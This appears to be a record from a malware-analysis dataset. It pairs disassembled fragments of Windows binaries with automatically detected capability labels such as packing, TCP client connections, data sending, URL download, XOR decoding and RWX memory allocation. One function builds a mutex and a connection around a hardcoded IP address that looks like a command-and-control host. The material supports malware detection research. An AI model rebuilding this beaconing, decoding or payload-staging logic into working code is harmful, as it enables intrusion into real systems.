joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b38
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
jmp loc.00418b0e

Function at 0x404e48
Capabilities:
Packed with generic packer
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x404e9d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
call fcn.00404044
push eax
lea eax, [ebp - 4]
jmp loc.00414136

Function at 0x404eac
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x404f86
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [esi + 0x1d4]
xor ecx, ecx
mov edx, 0x7d0
call fcn.00402d38
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
jmp loc.00418351

Function at 0x405010
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
jmp loc.0041760d

Function at 0x4070b8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x44]
push eax
mov dl, 1
mov al, 2
call fcn.00404c28
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x30], eax
mov word [ebx + 0x34], 2
mov ax, word [ebx + 4]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0x36], ax
mov eax, dword [ebx + 8]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebx + 0x38], eax
push 0x10
lea eax, [ebx + 0x34]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x407122
mov eax, ebx
call fcn.00406fa4
mov eax, ebx
call fcn.00405244
jmp loc.0041700b

Function at 0x40717c
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x407208
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 0x150]
push eax
mov eax, dword [ebp - 4]
call fcn.00404244
push eax
call sub.kernel32.dll_FindFirstFileA
cmp eax, 0xffffffff
je fcn.004071f2
push eax
call sub.kernel32.dll_FindClose
mov eax, dword [ebp - 0x134]
xor edx, edx
mov edx, eax
xor eax, eax
push edx
push eax
mov eax, dword [ebp - 0x130]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
jmp loc.00414739
Function at 0x407294
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp loc.0041a217

Function at 0x407764
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x40783f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 8]
mov eax, 0x407854
call fcn.00409064
mov eax, dword [ebp - 8]
call fcn.00404244
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
je 0x4077a6
mov eax, dword [0x40b16c]
add dword [eax], 0xa
jmp loc.004196bf

Function at 0x407e60
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.0041881f

Function at 0x4085ec
Capabilities:
Packed with generic packer

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
jmp 0x40860c
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40860c
jmp loc.00417c9e
mov eax, dword [ebx + 0x18]
and eax, dword [ebx + 0x10]
jne 0x4085f4
push esp
lea eax, [ebx + 0x2c]
push eax
call sub.kernel32.dll_FileTimeToLocalFileTime
push ebx
lea eax, [ebx + 2]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_FileTimeToDosDateTime
mov eax, dword [ebx + 0x38]
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x18]
mov dword [ebx + 8], eax
lea eax, [ebx + 0xc]
lea edx, [ebx + 0x44]
mov ecx, 0x104
call fcn.0040402c
xor eax, eax
pop ecx
pop edx
pop ebx
ret

Function at 0x408650
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 0x14]
cmp eax, 0xffffffff
je fcn.00408668
push eax
call sub.kernel32.dll_FindClose
jmp loc.004141b2

Function at 0x4087b4
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
call fcn.004027d4
jmp loc.00416ab5

Function at 0x408a30
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov ebx, eax
mov eax, ebx
mov edx, 0x408b60
call fcn.00403e20
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
jmp loc.00416d23

Function at 0x408bd8
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebx
push ecx
mov ebx, eax
mov dword [esp], 2
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x408c0a
jmp loc.00415c4a
mov dword [esp], 1
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x408c38
jmp loc.00418163
pop edx
pop ebx
ret
Function at 0x408c58
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
jmp loc.0041acc9

Function at 0x408dc8
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov edi, eax
mov eax, edi
call fcn.00404044
mov esi, eax
mov ebx, 1
jmp 0x408de1
inc ebx
cmp esi, ebx
jl 0x408dec
cmp byte [edi + ebx - 1], 0x20
jbe 0x408de0
cmp esi, ebx
jge 0x408dfa
mov eax, ebp
call fcn.00403dcc
jmp 0x408e10
dec esi
cmp byte [edi + esi - 1], 0x20
jbe 0x408df9
push ebp
mov ecx, esi
sub ecx, ebx
inc ecx
mov edx, ebx
mov eax, edi
jmp 0x415d22
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408e18
Capabilities:
Create process on windows
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x408e6c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov al, bl
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404244
push eax
jmp loc.00418438

Function at 0x408f14
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x408fa3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040402c
push dword [ebp - 0x10c]
push 0x408fb8
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404104
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408faa
lea eax, [ebp - 0x10c]
call fcn.00403dcc
lea eax, [ebp - 4]
call fcn.00403dcc
ret

Function at 0x408fbc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x40904b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040402c
push dword [ebp - 0x10c]
push 0x409060
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404104
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409052
lea eax, [ebp - 0x10c]
call fcn.00403dcc
lea eax, [ebp - 4]
call fcn.00403dcc
ret
Function at 0x409064
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x4090f3
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
jmp loc.004140ba

Function at 0x40910c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x40919b
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040402c
push dword [ebp - 0x10c]
push 0x4091b0
push dword [ebp - 4]
mov eax, ebx
mov edx, 3
call fcn.00404104
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4091a2
lea eax, [ebp - 0x10c]
call fcn.00403dcc
lea eax, [ebp - 4]
call fcn.00403dcc
ret

Function at 0x4091c0
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov esi, edx
mov ebx, eax
lea edx, [esp + 0xc]
mov eax, ebx
call fcn.004030c8
jmp 0x41768e

Function at 0x4091f8
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.00404044
jmp loc.00415135

Function at 0x409278
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
push ecx
mov dword [esp], edx
mov esi, eax
mov eax, esi
call fcn.00404044
mov edi, eax
mov ebx, edi
cmp ebx, 1
jl 0x4092b2
mov al, byte [esi + ebx - 1]
cmp al, 0x2e
jne 0x4092ad
mov eax, dword [esp]
push eax
mov ecx, edi
sub ecx, ebx
lea edx, [ebx + 1]
mov eax, esi
jmp loc.00419cdd
dec ebx
test ebx, ebx
jne 0x409291
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4093c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x578], ebx
jmp loc.0041a910

Function at 0x40970c
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
xor edx, edx
mov dword [ebp - 0x194], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409781
jmp loc.00414ddf

Function at 0x409884
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40999a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x40996d
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.wsock32.dll_gethostbyname
test eax, eax
jmp loc.00418570
Function at 0x4099e8
Capabilities:
Check if file exists
Get file attributes
Packed with generic packer

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.00404244
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409a05
jmp loc.00417e6d
xor eax, eax
jmp 0x409a0b
neg al
sbb eax, eax
pop ebx
ret

Function at 0x409a14
Capabilities:
Check os version
Packed with generic packer

Disassembly:
push ebx
add esp, 0xffffff6c
xor ebx, ebx
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
jmp loc.00417a2a

Function at 0x409c70
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
jmp loc.0041b0bc

Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp loc.00415bbd

Function at 0x40a3f4
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push 0x40a460
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
jmp loc.00413cd9

Function at 0x4133f3
Capabilities:
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
xor ebx, ebx
push 0x8001
push ebx
push 8
push ebx
push 0x2b4
push eax
push ebx
push 0x4083d4
push 0x4083bc
push 0x4705a0
push eax
mov edi, 0x4c90a0
push edi
push ebx
mov eax, edi
add esp, 0x40
leave
popal
popfd
jne loc.00406820
jmp loc.004054ab

Function at 0x414fda
Capabilities:
Copy file
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
push 0x8001
push 8
push 0x2b4
push eax
push 0x40931c
push 0x409304
push 0x46ad20
push eax
mov edi, 0x4c3000
push edi
mov eax, edi
add esp, 0x30
leave
popal
popfd
jne 0x405fe2
jmp loc.004057c4

Function at 0x4152b9
Capabilities:
Copy file
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
and eax, 0xbfffffff
cmp ax, 6
add esp, 0xc
leave
popal
popfd
mov edx, dword [ebp - 0x690]
jmp loc.0040562e

Function at 0x415370
Capabilities:
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0x60
push 0x4147e0
push eax
mov edi, 0x94
push edi
push 0
mov ebx, dword [0x40656f]
push eax
add esp, 0x18
leave
popal
popfd
call fcn.00404e48
jmp fcn.00405348

Function at 0x4163e8
Capabilities:
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
push eax
test eax, eax
add esp, 0x10
leave
popal
popfd
call fcn.004042a4
jmp loc.004052fa
Function at 0x4164cc
Capabilities:
Copy file
Download url
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4050a0
push 0x401cd0
push eax
push ebx
push edi
xor edx, edx
mov dl, ah
mov ecx, eax
and ecx, 0xff
shl ecx, 8
add ecx, edx
shr eax, 0x10
pop ecx
test eax, eax
add esp, 0x14
leave
popal
popfd
call fcn.00404244
jmp loc.00405533

Function at 0x4167a6
Capabilities:
Copy file
Download url
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
and eax, 0xbfffffff
cmp ax, 6
add esp, 0xc
leave
popal
popfd
call fcn.00404e48
jmp fcn.00405518

Function at 0x417367
Capabilities:
Copy file
Create thread
Download url
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
dec eax
push ebx
push edx
dec ecx
dec ecx
aas
dec ecx
and al, 0
add al, 0
add esp, 8
leave
popal
popfd
call fcn.00404190
jmp loc.004054e2

Function at 0x419f7d
Capabilities:
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop ebx
push 0x8001
push 6
and eax, 0xbfffffff
pop ecx
cmp ax, cx
add esp, 0xc
leave
popal
popfd
call fcn.00404eac
jmp loc.004052c4
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48a004]
jne 0x40100a
repz ret
jmp fcn.004018f4

Function at 0x4067a8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040261d
and dword [ebp - 4], 0
cmp dword [0x48bcdc], 0
mov ebx, eax
jne 0x406859
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40690a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40690a
push eax
call fcn.004025ab
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x48bcdc], eax
call esi
push eax
call fcn.004025ab
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48bce0], eax
call esi
push eax
call fcn.004025ab
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x48bce4], eax
call esi
push eax
call fcn.004025ab
pop ecx
mov dword [0x48bcec], eax
test eax, eax
je 0x406859
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004025ab
pop ecx
mov dword [0x48bce8], eax
mov eax, dword [0x48bce8]
cmp eax, ebx
je 0x4068b1
cmp dword [0x48bcec], ebx
je 0x4068b1
push eax
call fcn.00402626
push dword [0x48bcec]
mov esi, eax
call fcn.00402626
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4068b1
test edi, edi
je 0x4068b1
call esi
test eax, eax
je 0x4068a8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4068a8
test byte [ebp - 0xc], 1
jne 0x4068b1
or dword [ebp + 0x10], 0x200000
jmp 0x4068ea
mov eax, dword [0x48bce0]
cmp eax, ebx
je 0x4068ea
push eax
call fcn.00402626
pop ecx
test eax, eax
je 0x4068ea
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068ea
mov eax, dword [0x48bce4]
cmp eax, ebx
je 0x4068ea
push eax
call fcn.00402626
pop ecx
test eax, eax
je 0x4068ea
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x48bcdc]
call fcn.00402626
pop ecx
test eax, eax
je 0x40690a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40690c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x485e70
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
cmp edi, 0x19f
jne 0x485e8b
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
test edi, edi
jle 0x485ed2
lea ecx, [esp + 8]
mov dword [esp], 5
mov dword [esp + 8], 0
call fcn.00485e60
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp], eax
sub dword [esp], 0x46
movsx eax, byte [edx + esi]
mov dword [esp + 4], eax
mov eax, dword [esp]
xor dword [esp + 4], eax
mov cl, byte [esp + 4]
mov byte [edx + esi], cl
inc edx
cmp edx, edi
jl 0x485e91
cmp edi, 0x2d
jne 0x485eeb
mov dword [0x2b89ef8], 0xa62e7790
mov dword [0x2b89efc], 0xffffffff
add esp, 0xc
ret
Function at 0x438c8e
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x438a14
sub esi, 0xa57790f7
sub ecx, 1
call fcn.00438cd5
or esi, esi
xor dword [eax], edi
push 0x859ae7ee
pop ecx
add eax, 1
mov ecx, 0x10781efd
mov ecx, ecx
cmp eax, ebx
jne fcn.00438c8e
add ecx, 0x1f782294
mov esi, 0x3f54268b
sub esi, ecx
ret
Function at 0x4016d0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x4035a0
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4dc70], edi
mov dword [esi + 4], edi
mov ecx, 0x13717
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401780
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [0x4041b4]
sub esp, 0x64
push esi
push edi
mov edi, ecx
push eax
push str.43.129.240.50
lea ecx, [esp + 0x10]
push str._s_d
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [esp + 8]
push edx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x4017ca
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x64
ret
lea eax, [esp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401802
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401802
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x64
ret
mov ecx, dword [0x4041b4]
push ecx
push str.43.129.240.50
mov ecx, edi
call fcn.00401820
pop edi
pop esi
add esp, 0x64
ret

Function at 0x401820
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x401843
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4018a6
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40184e
push 0
push 0
push esi
push 0x4018d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x4019a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402030
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], esp
push 0x40
push 0x3000
push 0x4dc5c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [ebp - 0x14], eax
jne 0x4019f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x18]
push 0x403708
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x4b
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x14]
mov ecx, 0x13717
mov eax, 0x401a25
lea esi, [edx + 0x4dc74]
rep movsd dword es:[edi], dword [esi]
ret
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x8c211d
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x8c1ea3
mov eax, ecx
mov eax, 0x39866eed
call fcn.008c2156
add eax, ecx
xor dword [ebx], edx
sub ecx, ecx
add ebx, 1
dec eax
mov eax, ecx
sub eax, 1
cmp ebx, esi
jne fcn.008c211d
sub eax, 1
ret